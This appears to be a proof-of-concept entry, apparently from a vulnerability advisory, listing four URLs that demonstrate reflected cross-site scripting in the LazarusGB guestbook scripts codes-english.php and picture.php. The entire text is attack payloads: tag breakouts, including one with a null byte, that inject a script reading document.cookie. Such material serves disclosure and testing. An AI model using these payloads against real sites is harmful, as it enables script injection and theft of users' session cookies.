http://www.example.com/lazarusgb/lang/codes-english.php?show=%3C/title%3E[XSS] http://www.example.com/lazarusgb/lang/codes-english.php?show=%3C/title%3E<script>alert(document.cookie);</script> http://www.example.com/lazarusgb/picture.php?img=../img/home.gif%00%22%3E[XSS] http://www.example.com/lazarusgb/picture.php?img=../img/home.gif%00%22%3E<script>alert(document.cookie);</script>